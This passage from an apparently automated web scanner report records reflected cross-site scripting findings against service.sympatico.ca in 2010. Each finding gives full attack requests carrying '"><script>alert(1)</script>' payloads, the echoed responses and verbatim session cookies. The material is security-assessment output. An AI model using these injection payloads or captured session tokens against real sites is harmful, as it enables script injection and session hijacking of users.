Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=jzTUfbK1lB1FR2L9nCF6JcAFTHNd5eKhzOV1bppOjkp6/pznaPoURxYj+hXt9dYen5dlGy+lNMaU587g2GHNHeBiD/5mzgl6dlZIOy5f/Re8WEIRU9IwVaEz7j30ofDRTDp9N6zO/n13wP992GKHnusEY1Iv8WU/cXRHOZddrZes5e6Omf4RRmzg6ubfvpp4lk8UoMXYuTxspZORvHgha1mHvuovcDXZL/oXcuEgGoAX5AjWYkLGDDG6zHD4DGBrctuMugMQbkTUXIYHzX3+b84InRMrBPS81nfko+Rai+QDwe9yFqwJ7g==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:16 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:16 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:16 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:16 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:16 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:16 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif4b160"><script>alert(1)</script>17c2a2c3b55" />
...[SNIP]...

2.118. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce78d"><script>alert(1)</script>17c6c80640c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif?ce78d"><script>alert(1)</script>17c6c80640c=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:41 GMT
Connection: close
Set-Cookie: SMSESSION=Z5C/VuoZqBW4MKObxMSS2GzWv80bop1p2jdMZ6I2EM0zDBM7gs2iUyzgQV5Vc/HU+X8oHiN+hMYi0l3BpI2AckfCSVID40fPRD7JOJwewthR/1hXdn0kFIx3Oss5pTyJaQoUqDXrDqvSI+/gyDq+icrMtg2V7pXJFsVWIfIdhMDzGo0UvTc1JFVGZFzkncPEE0l257OUgw21ywib9MiY8SuaKC9LBGTSmIfPRQbFmwvovg1l/R8AvudiRaGYWyVBYQOFaemySe9PIIo0dvs95N68bqege8PA32n2XwQbYcaf3RD63vBhug==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:41 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:41 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:41 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:41 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
a/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif?ce78d"><script>alert(1)</script>17c6c80640c=1" />
...[SNIP]...

2.119. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d342"><script>alert(1)</script>99394690b9b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C6d342"><script>alert(1)</script>99394690b9b/images/buttons/bt_submit_medium.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:55 GMT
Connection: close
Set-Cookie: SMSESSION=I3MrKE5HyFCqi2u3xTVQjZcJLLLF3Yt6teEf7ISjuSv+zS9RucKusU+LktAB8YKpsRXCMRrctOxlBQJbf9CaxhBY92lP3ULUWRPDBJn8pzNEtinHqouq50t9MyeauW4svgB0gNSYk/0QjnRpExasXHosQpBdE4MKkwxH+J/5fu2R+GTyXtHcRNA8YsPnPc2w9RDlX5GIBIGuX12BLwL9j9JlHJNJuPSwPjBDJP9ddAoCwZPTEQtskaAtGiYDUm2iehGtYUm5L9ZAEEAIsRQUGiAXFeyE992vMRHqxIgq4HHjB5jX8npiGw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:56 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C6d342"><script>alert(1)</script>99394690b9b/images/buttons/bt_submit_medium.gif" />
...[SNIP]...

2.120. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d764f"><script>alert(1)</script>20686fff62c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

